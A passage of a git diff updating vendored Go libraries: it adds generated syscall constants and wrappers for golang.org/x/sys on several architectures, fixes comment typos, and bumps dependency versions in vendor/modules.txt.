0x20001264 + BLKGETDISKSEQ = 0x40081280 BLKGETSIZE = 0x20001260 BLKGETSIZE64 = 0x40081272 + BLKIOMIN = 0x20001278 + BLKIOOPT = 0x20001279 BLKPBSZGET = 0x2000127b BLKRAGET = 0x20001263 BLKRASET = 0x20001262 BLKROGET = 0x2000125e BLKROSET = 0x2000125d + BLKROTATIONAL = 0x2000127e BLKRRPART = 0x2000125f + BLKSECDISCARD = 0x2000127d BLKSECTGET = 0x20001267 BLKSECTSET = 0x20001266 BLKSSZGET = 0x20001268 + BLKZEROOUT = 0x2000127f BOTHER = 0x1f BS1 = 0x8000 BSDLY = 0x8000 diff --git a/vendor/golang.org/x/sys/unix/zerrors_linux_riscv64.go b/vendor/golang.org/x/sys/unix/zerrors_linux_riscv64.go index d4a5ab9e4e..44f45a039d 100644 --- a/vendor/golang.org/x/sys/unix/zerrors_linux_riscv64.go +++ b/vendor/golang.org/x/sys/unix/zerrors_linux_riscv64.go @@ -27,22 +27,31 @@ const ( B57600 = 0x1001 B576000 = 0x1006 B921600 = 0x1007 + BLKALIGNOFF = 0x127a BLKBSZGET = 0x80081270 BLKBSZSET = 0x40081271 + BLKDISCARD = 0x1277 + BLKDISCARDZEROES = 0x127c BLKFLSBUF = 0x1261 BLKFRAGET = 0x1265 BLKFRASET = 0x1264 + BLKGETDISKSEQ = 0x80081280 BLKGETSIZE = 0x1260 BLKGETSIZE64 = 0x80081272 + BLKIOMIN = 0x1278 + BLKIOOPT = 0x1279 BLKPBSZGET = 0x127b BLKRAGET = 0x1263 BLKRASET = 0x1262 BLKROGET = 0x125e BLKROSET = 0x125d + BLKROTATIONAL = 0x127e BLKRRPART = 0x125f + BLKSECDISCARD = 0x127d BLKSECTGET = 0x1267 BLKSECTSET = 0x1266 BLKSSZGET = 0x1268 + BLKZEROOUT = 0x127f BOTHER = 0x1000 BS1 = 0x2000 BSDLY = 0x2000 diff --git a/vendor/golang.org/x/sys/unix/zerrors_linux_s390x.go b/vendor/golang.org/x/sys/unix/zerrors_linux_s390x.go index 66e65db951..74733e260f 100644 --- a/vendor/golang.org/x/sys/unix/zerrors_linux_s390x.go +++ b/vendor/golang.org/x/sys/unix/zerrors_linux_s390x.go @@ -27,22 +27,31 @@ const ( B57600 = 0x1001 B576000 = 0x1006 B921600 = 0x1007 + BLKALIGNOFF = 0x127a BLKBSZGET = 0x80081270 BLKBSZSET = 0x40081271 + BLKDISCARD = 0x1277 + BLKDISCARDZEROES = 0x127c BLKFLSBUF = 0x1261 BLKFRAGET = 0x1265 BLKFRASET = 0x1264 + BLKGETDISKSEQ = 0x80081280 BLKGETSIZE = 0x1260 BLKGETSIZE64 = 0x80081272 + BLKIOMIN = 0x1278 + BLKIOOPT = 0x1279 BLKPBSZGET = 0x127b BLKRAGET = 0x1263 BLKRASET = 0x1262 BLKROGET = 0x125e BLKROSET = 0x125d + BLKROTATIONAL = 0x127e BLKRRPART = 0x125f + BLKSECDISCARD = 0x127d BLKSECTGET = 0x1267 BLKSECTSET = 0x1266 BLKSSZGET = 0x1268 + BLKZEROOUT = 0x127f BOTHER = 0x1000 BS1 = 0x2000 BSDLY = 0x2000 diff --git a/vendor/golang.org/x/sys/unix/zerrors_linux_sparc64.go b/vendor/golang.org/x/sys/unix/zerrors_linux_sparc64.go index 48984202c6..f5f3934b1a 100644 --- a/vendor/golang.org/x/sys/unix/zerrors_linux_sparc64.go +++ b/vendor/golang.org/x/sys/unix/zerrors_linux_sparc64.go @@ -30,22 +30,31 @@ const ( B57600 = 0x1001 B576000 = 0x1006 B921600 = 0x1007 + BLKALIGNOFF = 0x2000127a BLKBSZGET = 0x40081270 BLKBSZSET = 0x80081271 + BLKDISCARD = 0x20001277 + BLKDISCARDZEROES = 0x2000127c BLKFLSBUF = 0x20001261 BLKFRAGET = 0x20001265 BLKFRASET = 0x20001264 + BLKGETDISKSEQ = 0x40081280 BLKGETSIZE = 0x20001260 BLKGETSIZE64 = 0x40081272 + BLKIOMIN = 0x20001278 + BLKIOOPT = 0x20001279 BLKPBSZGET = 0x2000127b BLKRAGET = 0x20001263 BLKRASET = 0x20001262 BLKROGET = 0x2000125e BLKROSET = 0x2000125d + BLKROTATIONAL = 0x2000127e BLKRRPART = 0x2000125f + BLKSECDISCARD = 0x2000127d BLKSECTGET = 0x20001267 BLKSECTSET = 0x20001266 BLKSSZGET = 0x20001268 + BLKZEROOUT = 0x2000127f BOTHER = 0x1000 BS1 = 0x2000 BSDLY = 0x2000 diff --git a/vendor/golang.org/x/sys/unix/zsyscall_linux.go b/vendor/golang.org/x/sys/unix/zsyscall_linux.go index 7ceec233fb..a07321bed9 100644 --- a/vendor/golang.org/x/sys/unix/zsyscall_linux.go +++ b/vendor/golang.org/x/sys/unix/zsyscall_linux.go @@ -1356,7 +1356,7 @@ func Prctl(option int, arg2 uintptr, arg3 uintptr, arg4 uintptr, arg5 uintptr) ( // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT -func Pselect(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timespec, sigmask *Sigset_t) (n int, err error) { +func pselect6(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timespec, sigmask *sigset_argpack) (n int, err error) { r0, _, e1 := Syscall6(SYS_PSELECT6, uintptr(nfd), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), uintptr(unsafe.Pointer(sigmask))) n = int(r0) if e1 != 0 { diff --git a/vendor/golang.org/x/sys/unix/zsyscall_linux_riscv64.go b/vendor/golang.org/x/sys/unix/zsyscall_linux_riscv64.go index 0b29239583..0ab4f2ed72 100644 --- a/vendor/golang.org/x/sys/unix/zsyscall_linux_riscv64.go +++ b/vendor/golang.org/x/sys/unix/zsyscall_linux_riscv64.go @@ -531,3 +531,19 @@ func kexecFileLoad(kernelFd int, initrdFd int, cmdlineLen int, cmdline string, f } return } + +// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT + +func riscvHWProbe(pairs []RISCVHWProbePairs, cpuCount uintptr, cpus *CPUSet, flags uint) (err error) { + var _p0 unsafe.Pointer + if len(pairs) > 0 { + _p0 = unsafe.Pointer(&pairs[0]) + } else { + _p0 = unsafe.Pointer(&_zero) + } + _, _, e1 := Syscall6(SYS_RISCV_HWPROBE, uintptr(_p0), uintptr(len(pairs)), uintptr(cpuCount), uintptr(unsafe.Pointer(cpus)), uintptr(flags), 0) + if e1 != 0 { + err = errnoErr(e1) + } + return +} diff --git a/vendor/golang.org/x/sys/unix/zsyscall_netbsd_386.go b/vendor/golang.org/x/sys/unix/zsyscall_netbsd_386.go index cdb2af5ae0..35f499b32a 100644 --- a/vendor/golang.org/x/sys/unix/zsyscall_netbsd_386.go +++ b/vendor/golang.org/x/sys/unix/zsyscall_netbsd_386.go @@ -1858,3 +1858,14 @@ func utimensat(dirfd int, path string, times *[2]Timespec, flags int) (err error } return } + +// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT + +func mremapNetBSD(oldp uintptr, oldsize uintptr, newp uintptr, newsize uintptr, flags int) (xaddr uintptr, err error) { + r0, _, e1 := Syscall6(SYS_MREMAP, uintptr(oldp), uintptr(oldsize), uintptr(newp), uintptr(newsize), uintptr(flags), 0) + xaddr = uintptr(r0) + if e1 != 0 { + err = errnoErr(e1) + } + return +} diff --git a/vendor/golang.org/x/sys/unix/zsyscall_netbsd_amd64.go b/vendor/golang.org/x/sys/unix/zsyscall_netbsd_amd64.go index 9d25f76b0b..3cda65b0da 100644 --- a/vendor/golang.org/x/sys/unix/zsyscall_netbsd_amd64.go +++ b/vendor/golang.org/x/sys/unix/zsyscall_netbsd_amd64.go @@ -1858,3 +1858,14 @@ func utimensat(dirfd int, path string, times *[2]Timespec, flags int) (err error } return } + +// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT + +func mremapNetBSD(oldp uintptr, oldsize uintptr, newp uintptr, newsize uintptr, flags int) (xaddr uintptr, err error) { + r0, _, e1 := Syscall6(SYS_MREMAP, uintptr(oldp), uintptr(oldsize), uintptr(newp), uintptr(newsize), uintptr(flags), 0) + xaddr = uintptr(r0) + if e1 != 0 { + err = errnoErr(e1) + } + return +} diff --git a/vendor/golang.org/x/sys/unix/zsyscall_netbsd_arm.go b/vendor/golang.org/x/sys/unix/zsyscall_netbsd_arm.go index d3f8035169..1e1fea902b 100644 --- a/vendor/golang.org/x/sys/unix/zsyscall_netbsd_arm.go +++ b/vendor/golang.org/x/sys/unix/zsyscall_netbsd_arm.go @@ -1858,3 +1858,14 @@ func utimensat(dirfd int, path string, times *[2]Timespec, flags int) (err error } return } + +// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT + +func mremapNetBSD(oldp uintptr, oldsize uintptr, newp uintptr, newsize uintptr, flags int) (xaddr uintptr, err error) { + r0, _, e1 := Syscall6(SYS_MREMAP, uintptr(oldp), uintptr(oldsize), uintptr(newp), uintptr(newsize), uintptr(flags), 0) + xaddr = uintptr(r0) + if e1 != 0 { + err = errnoErr(e1) + } + return +} diff --git a/vendor/golang.org/x/sys/unix/zsyscall_netbsd_arm64.go b/vendor/golang.org/x/sys/unix/zsyscall_netbsd_arm64.go index 887188a529..3b77da1107 100644 --- a/vendor/golang.org/x/sys/unix/zsyscall_netbsd_arm64.go +++ b/vendor/golang.org/x/sys/unix/zsyscall_netbsd_arm64.go @@ -1858,3 +1858,14 @@ func utimensat(dirfd int, path string, times *[2]Timespec, flags int) (err error } return } + +// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT + +func mremapNetBSD(oldp uintptr, oldsize uintptr, newp uintptr, newsize uintptr, flags int) (xaddr uintptr, err error) { + r0, _, e1 := Syscall6(SYS_MREMAP, uintptr(oldp), uintptr(oldsize), uintptr(newp), uintptr(newsize), uintptr(flags), 0) + xaddr = uintptr(r0) + if e1 != 0 { + err = errnoErr(e1) + } + return +} diff --git a/vendor/golang.org/x/sys/unix/zsysnum_linux_riscv64.go b/vendor/golang.org/x/sys/unix/zsysnum_linux_riscv64.go index 3e594a8c09..ef285c567b 100644 --- a/vendor/golang.org/x/sys/unix/zsysnum_linux_riscv64.go +++ b/vendor/golang.org/x/sys/unix/zsysnum_linux_riscv64.go @@ -251,6 +251,8 @@ const ( SYS_ACCEPT4 = 242 SYS_RECVMMSG = 243 SYS_ARCH_SPECIFIC_SYSCALL = 244 + SYS_RISCV_HWPROBE = 258 + SYS_RISCV_FLUSH_ICACHE = 259 SYS_WAIT4 = 260 SYS_PRLIMIT64 = 261 SYS_FANOTIFY_INIT = 262 diff --git a/vendor/golang.org/x/sys/unix/ztypes_linux.go b/vendor/golang.org/x/sys/unix/ztypes_linux.go index 02e2462c8f..26ef52aafc 100644 --- a/vendor/golang.org/x/sys/unix/ztypes_linux.go +++ b/vendor/golang.org/x/sys/unix/ztypes_linux.go @@ -866,6 +866,11 @@ const ( POLLNVAL = 0x20 ) +type sigset_argpack struct { + ss *Sigset_t + ssLen uintptr +} + type SignalfdSiginfo struct { Signo uint32 Errno int32 diff --git a/vendor/golang.org/x/sys/unix/ztypes_linux_riscv64.go b/vendor/golang.org/x/sys/unix/ztypes_linux_riscv64.go index 9ea54b7b86..83c69c119f 100644 --- a/vendor/golang.org/x/sys/unix/ztypes_linux_riscv64.go +++ b/vendor/golang.org/x/sys/unix/ztypes_linux_riscv64.go @@ -718,3 +718,26 @@ type SysvShmDesc struct { _ uint64 _ uint64 } + +type RISCVHWProbePairs struct { + Key int64 + Value uint64 +} + +const ( + RISCV_HWPROBE_KEY_MVENDORID = 0x0 + RISCV_HWPROBE_KEY_MARCHID = 0x1 + RISCV_HWPROBE_KEY_MIMPID = 0x2 + RISCV_HWPROBE_KEY_BASE_BEHAVIOR = 0x3 + RISCV_HWPROBE_BASE_BEHAVIOR_IMA = 0x1 + RISCV_HWPROBE_KEY_IMA_EXT_0 = 0x4 + RISCV_HWPROBE_IMA_FD = 0x1 + RISCV_HWPROBE_IMA_C = 0x2 + RISCV_HWPROBE_KEY_CPUPERF_0 = 0x5 + RISCV_HWPROBE_MISALIGNED_UNKNOWN = 0x0 + RISCV_HWPROBE_MISALIGNED_EMULATED = 0x1 + RISCV_HWPROBE_MISALIGNED_SLOW = 0x2 + RISCV_HWPROBE_MISALIGNED_FAST = 0x3 + RISCV_HWPROBE_MISALIGNED_UNSUPPORTED = 0x4 + RISCV_HWPROBE_MISALIGNED_MASK = 0x7 +) diff --git a/vendor/golang.org/x/sys/windows/syscall_windows.go b/vendor/golang.org/x/sys/windows/syscall_windows.go index 9645900754..373d16388a 100644 --- a/vendor/golang.org/x/sys/windows/syscall_windows.go +++ b/vendor/golang.org/x/sys/windows/syscall_windows.go @@ -135,14 +135,14 @@ func Getpagesize() int { return 4096 } // NewCallback converts a Go function to a function pointer conforming to the stdcall calling convention. // This is useful when interoperating with Windows code requiring callbacks. -// The argument is expected to be a function with with one uintptr-sized result. The function must not have arguments with size larger than the size of uintptr. +// The argument is expected to be a function with one uintptr-sized result. The function must not have arguments with size larger than the size of uintptr. func NewCallback(fn interface{}) uintptr { return syscall.NewCallback(fn) } // NewCallbackCDecl converts a Go function to a function pointer conforming to the cdecl calling convention. // This is useful when interoperating with Windows code requiring callbacks. -// The argument is expected to be a function with with one uintptr-sized result. The function must not have arguments with size larger than the size of uintptr. +// The argument is expected to be a function with one uintptr-sized result. The function must not have arguments with size larger than the size of uintptr. func NewCallbackCDecl(fn interface{}) uintptr { return syscall.NewCallbackCDecl(fn) } diff --git a/vendor/golang.org/x/term/term_unix.go b/vendor/golang.org/x/term/term_unix.go index 62c2b3f41f..a4e31ab1b2 100644 --- a/vendor/golang.org/x/term/term_unix.go +++ b/vendor/golang.org/x/term/term_unix.go @@ -60,7 +60,7 @@ func restore(fd int, state *State) error { func getSize(fd int) (width, height int, err error) { ws, err := unix.IoctlGetWinsize(fd, unix.TIOCGWINSZ) if err != nil { - return 0, 0, err + return -1, -1, err } return int(ws.Col), int(ws.Row), nil } diff --git a/vendor/golang.org/x/text/language/match.go b/vendor/golang.org/x/text/language/match.go index ee45f49474..1153baf291 100644 --- a/vendor/golang.org/x/text/language/match.go +++ b/vendor/golang.org/x/text/language/match.go @@ -434,7 +434,7 @@ func newMatcher(supported []Tag, options []MatchOption) *matcher { // (their canonicalization simply substitutes a different language code, but // nothing else), the match confidence is Exact, otherwise it is High. for i, lm := range language.AliasMap { - // If deprecated codes match and there is no fiddling with the script or + // If deprecated codes match and there is no fiddling with the script // or region, we consider it an exact match. conf := Exact if language.AliasTypes[i] != language.Macro { diff --git a/vendor/modules.txt b/vendor/modules.txt index a4fdd9f8cc..745ea527d5 100644 --- a/vendor/modules.txt +++ b/vendor/modules.txt @@ -489,13 +489,16 @@ github.com/moloch--/asciicast # github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945 ## explicit; go 1.17 github.com/moloch--/memmod -# github.com/ncruces/go-sqlite3 v0.7.2 -## explicit; go 1.19 +# github.com/ncruces/go-sqlite3 v0.8.4 +## explicit; go 1.21 github.com/ncruces/go-sqlite3 github.com/ncruces/go-sqlite3/driver github.com/ncruces/go-sqlite3/embed github.com/ncruces/go-sqlite3/internal/util github.com/ncruces/go-sqlite3/vfs +# github.com/ncruces/go-sqlite3/gormlite v0.8.4 +## explicit; go 1.21 +github.com/ncruces/go-sqlite3/gormlite # github.com/ncruces/julianday v0.1.5 ## explicit; go 1.17 github.com/ncruces/julianday @@ -512,12 +515,15 @@ github.com/pkg/errors # github.com/pmezard/go-difflib v1.0.0 ## explicit github.com/pmezard/go-difflib/difflib -# github.com/reeflective/console v0.1.6 -## explicit; go 1.20 +# github.com/psanford/memfs v0.0.0-20230130182539-4dbf7e3e865e +## explicit; go 1.16 +github.com/psanford/memfs +# github.com/reeflective/console v0.1.8 +## explicit; go 1.21 github.com/reeflective/console github.com/reeflective/console/commands/readline -# github.com/reeflective/readline v1.0.8 -## explicit; go 1.20 +# github.com/reeflective/readline v1.0.9 +## explicit; go 1.21 github.com/reeflective/readline github.com/reeflective/readline/inputrc github.com/reeflective/readline/internal/color @@ -531,13 +537,28 @@ github.com/reeflective/readline/internal/macro github.com/reeflective/readline/internal/strutil github.com/reeflective/readline/internal/term github.com/reeflective/readline/internal/ui +# github.com/reeflective/team v0.1.1 +## explicit; go 1.21 +github.com/reeflective/team +github.com/reeflective/team/client +github.com/reeflective/team/client/commands +github.com/reeflective/team/internal/assets +github.com/reeflective/team/internal/certs +github.com/reeflective/team/internal/command +github.com/reeflective/team/internal/db +github.com/reeflective/team/internal/db/wasmsqlite +github.com/reeflective/team/internal/log +github.com/reeflective/team/internal/systemd +github.com/reeflective/team/internal/version +github.com/reeflective/team/server +github.com/reeflective/team/server/commands # github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec ## explicit; go 1.12 github.com/remyoudompheng/bigfft # github.com/rivo/uniseg v0.4.4 ## explicit; go 1.18 github.com/rivo/uniseg -# github.com/rsteube/carapace v0.36.3 => github.com/reeflective/carapace v0.25.2-0.20230602202234-e8d757e458ca +# github.com/rsteube/carapace v0.43.0 => github.com/reeflective/carapace v0.25.2-0.20230816093630-a30f5184fa0d ## explicit; go 1.15 github.com/rsteube/carapace github.com/rsteube/carapace/internal/cache @@ -622,8 +643,8 @@ github.com/tailscale/wireguard-go/tun # github.com/tcnksm/go-httpstat v0.2.0 ## explicit github.com/tcnksm/go-httpstat -# github.com/tetratelabs/wazero v1.3.1 -## explicit; go 1.18 +# github.com/tetratelabs/wazero v1.4.0 +## explicit; go 1.19 github.com/tetratelabs/wazero github.com/tetratelabs/wazero/api github.com/tetratelabs/wazero/experimental @@ -690,7 +711,7 @@ go4.org/mem # go4.org/netipx v0.0.0-20230303233057-f1b76eb4bb35 ## explicit; go 1.18 go4.org/netipx -# golang.org/x/crypto v0.11.0 +# golang.org/x/crypto v0.10.0 ## explicit; go 1.17 golang.org/x/crypto/acme golang.org/x/crypto/acme/autocert @@ -730,7 +751,7 @@ golang.org/x/exp/slices golang.org/x/exp/slog golang.org/x/exp/slog/internal golang.org/x/exp/slog/internal/buffer -# golang.org/x/mod v0.10.0 +# golang.org/x/mod v0.11.0 ## explicit; go 1.17 golang.org/x/mod/semver # golang.org/x/net v0.11.0 @@ -753,10 +774,10 @@ golang.org/x/net/ipv6 golang.org/x/net/proxy golang.org/x/net/route golang.org/x/net/trace -# golang.org/x/sync v0.2.0 -## explicit +# golang.org/x/sync v0.3.0 +## explicit; go 1.17 golang.org/x/sync/errgroup -# golang.org/x/sys v0.10.0 +# golang.org/x/sys v0.11.0 ## explicit; go 1.17 golang.org/x/sys/cpu golang.org/x/sys/execabs @@ -767,10 +788,10 @@ golang.org/x/sys/windows golang.org/x/sys/windows/registry golang.org/x/sys/windows/svc golang.org/x/sys/windows/svc/mgr -# golang.org/x/term v0.10.0 +# golang.org/x/term v0.9.0 ## explicit; go 1.17 golang.org/x/term -# golang.org/x/text v0.11.0 +# golang.org/x/text v0.12.0 ## explicit; go 1.17 golang.org/x/text/cases golang.org/x/text/encoding